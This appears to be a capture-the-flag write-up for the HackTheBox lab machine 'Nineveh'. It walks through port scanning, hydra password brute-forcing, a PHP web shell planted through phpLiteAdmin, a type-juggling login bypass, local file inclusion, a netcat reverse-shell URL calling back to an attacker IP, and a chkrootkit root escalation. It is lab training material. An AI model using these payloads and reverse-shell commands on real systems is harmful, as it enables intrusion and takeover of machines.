Nineveh

Enumeration

As always, we start with the enumeration phase, in which we try to scan the machine looking for open ports and finding out services and versions of those opened ports.

The following nmap command will scan the target machine looking for open ports in a fast way and saving the output into a file:

nmap -sS --min-rate 5000 -p- -T5 -Pn -n 10.10.10.43 -oN allPorts

  • -sS use the TCP SYN scan option. This scan option is relatively unobtrusive and stealthy, since it never completes TCP connections.

  • --min-rate 5000 nmap will try to keep the sending rate at or above 5000 packets per second.

  • -p- scanning the entire port range, from 1 to 65535.

  • -T5 insane mode, it is the fastest mode of the nmap time template.

  • -Pn assume the host is online.

  • -n scan without reverse DNS resolution.

  • -oN save the scan result into a file, in this case the allports file.

Now that we know which ports are open, let's try to obtain the services and versions running on these ports. The following command will scan these ports more in depth and save the result into a file:

nmap -sC -sV -p80,443 10.10.10.43 -oN targeted

  • -sC performs the scan using the default set of scripts.

  • -sV enables version detection.

  • -oN save the scan result into file, in this case the targeted file.

As we can see in the nmap report, there is a domain name. Let's add it to the /etc/hosts file.

nano /etc/hosts

If we check the website on port 80, we won't see much going on.

On the other hand, the website on port 443 only has one image.

If we enumerate subdirectories on the HTTP website, we'll find the /info.php and department entries.

gobuster dir -u http://10.10.10.43 -w /usr/share/wordlists/dirbuster/directory-list-2.3-small.txt -t 200 -x txt,php

  • dir enumerates directories or files.

  • -u the target URL.

  • -w path to the wordlist.

  • -t number of current threads, in this case 200 threads.

  • -x file extensions to search for.

And if we do the same in the HTTPS website, we'll find the /db directory.

gobuster dir -u https://10.10.10.43 -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt -t 200 -x txt,php -k

  • dir enumerates directories or files.

  • -u the target URL.

  • -w path to the wordlist.

  • -t number of current threads, in this case 200 threads.

  • -x file extensions to search for.

  • -k skip TLS certificate verification.

The /department directory is just a login page which asks for a username and a password.

And the /db directory of the HTTPS website is a phpLiteAdmin v1.9 login panel which asks for a password.

Exploitation

As the login page in the /db directory only asks for a password, we could try to brute-force it with hydra.

hydra -l admin -P /usr/share/SecLists/Passwords/twitter-banned.txt 10.10.10.43 https-post-form "/db/index.php:password=^PASS^&remember=yes&login=Log+In&proc_login=true:Incorrect password."

  • -l username.

  • -P password wordlist.

  • https-post-form make an HTTPS POST request.

  • -t number of current threads, in this case 200 threads.

  • -x file extensions to search for.

  • -k skip TLS certificate verification.

Now we know the password is password123, let's log in.

At this point, I look for ways of getting a Remote Code Execution on the machine, and I found this GitHub repository which explains how to do it. First, let's create a new database with the .php extension.

Then, select the new database. As we can see, the file is located in /var/tmp/rce.php.

And create a new table with one field.

The type of the column should set to TEXT, and the default value should be set to <?php system($_GET['cmd'])?>.

Now the table is created, but we have to find a way of accessing it, so we can execute commands.

If we try to log in as the test user in the /department page, we'll get an error saying invalid username.

As we saw in the SSL certificate, it is signed as the admin@nineveh.htb user. We could try to log in as the admin user in the /department login page.

We get the message Invalid Password! which means that admin is a valid user. At this point, I intercepted the login request with BurpSuite, and tried to do a Type Juggling attack.

Type Juggling vulnerabilities are a class of vulnerability wherein an object is initialized or accessed as the incorrect type, allowing an attacker to potentially bypass authentication or undermine the type safety of an application, possibly leading to arbitrary code execution.

If we modify the login request and change the current payload.

username=admin&password=test

To the following one.

username=admin&password[]=

We should bypass the login panel.

If we go to the Notes section, we'll see a note from the amrois user. Note the URL.

http://nineveh.htb/department/manage.php?notes=files/ninevehNotes.txt

I tried to do a Local File Inclusion attack in the notes GET parameter, trying to import the /etc/passwd file. And the following parameter seems to work.

http://nineveh.htb/department/manage.php?notes=/ninevehNotes/../../etc/passwd

Now, we can access the database PHP file we created earlier, which is located in /var/tmp/rce.php. And we can execute commands with the cmd parameter as the www-data user.

http://nineveh.htb/department/manage.php?notes=/ninevehNotes/../../var/tmp/rce.php&cmd=whoami

Time to get a shell. First, let's set a netcat listener on port 4444.

nc -lvnp 4444

  • -l listen mode.

  • -v verbose mode.

  • -n numeric-only IP, no DNS resolution.

  • -p specify the port to listen on.

Now, execute access the following URL, which will send us a reverse shell.

http://nineveh.htb/department/manage.php?notes=/ninevehNotes/../../var/tmp/rce.php&cmd=rm%20/tmp/f;mkfifo%20/tmp/f;cat%20/tmp/f|/bin/sh%20-i%202%3E%261|nc%2010.10.14.9%204444%20%3E/tmp/f

Privilege Escalation

First, let's set an interactive TTY shell.

script /dev/null -c /bin/bash

Then I press Ctrl+Z and execute the following command on my local machine:

stty raw -echo; fg

reset

Terminal type? xterm

Next, I export a few variables:

export TERM=xterm

export SHELL=bash

Finally, I run the following command in our local machine:

stty size

And set the proper dimensions in the victim machine:

stty rows 51 columns 236

If check in the /var/www/ssl/secure_notes/ directory, we'll see an image which weights a lot.

ls -l /var/www/ssl/secure_notes/

If we list the strings of the file, we'll see an SSH private key of the amrois user.

strings /var/www/ssl/secure_notes/nineveh.png

And as we can see, port 22 is open.

netstat -tulpn

  • -t TCP connections.

  • -u UDP connections.

  • -l listening.

  • -p show the PID/Program name.

  • -n don't resolve names.

Let's copy the key into the /tmp/id_rsa file, and give it the right permissions.

nano /tmp/id_rsa

chmod 600 /tmp/id_rsa

Now we can log in as the amrois user via SSH, and we'll be able to grab the user flag.

ssh -i /tmp/id_rsa amrois@127.0.0.1

At this point, I tried to look for scheduled tasks on the system with the pspy tool. Let's transfer pspy to the nineveh machine.

pspy is a command line tool designed to snoop on processes without need for root permissions. It allows you to see commands run by other users, cron jobs, etc. as they execute.

https://github.com/DominicBreuker/pspy

python -m http.server

On the time machine, go to the /tmp directory, download the binary, and give it execution permissions.

cd /tmp

wget http://10.10.14.2:8000/pspy64

chmod +x pspy64

If we execute the tool, we'll see at some point that the root user, with the UID set to 0, is executing the /usr/bin/chkrootkit binary.

./pspy64

We can see in exploit-db that there is a way of escalating privileges abusing this binary. First, let's create a file in the /tmp directory called update, which will give the /bin/bash binary the SUID permission.

nano /tmp/update

chmod +x /tmp/update

Now, let's wait until the /bin/bash binary has the SUID permission set, and then all we have to do is execute bash with root permissions, and reap the harvest and take the root flag.

bash -p

Last updated

Was this helpful?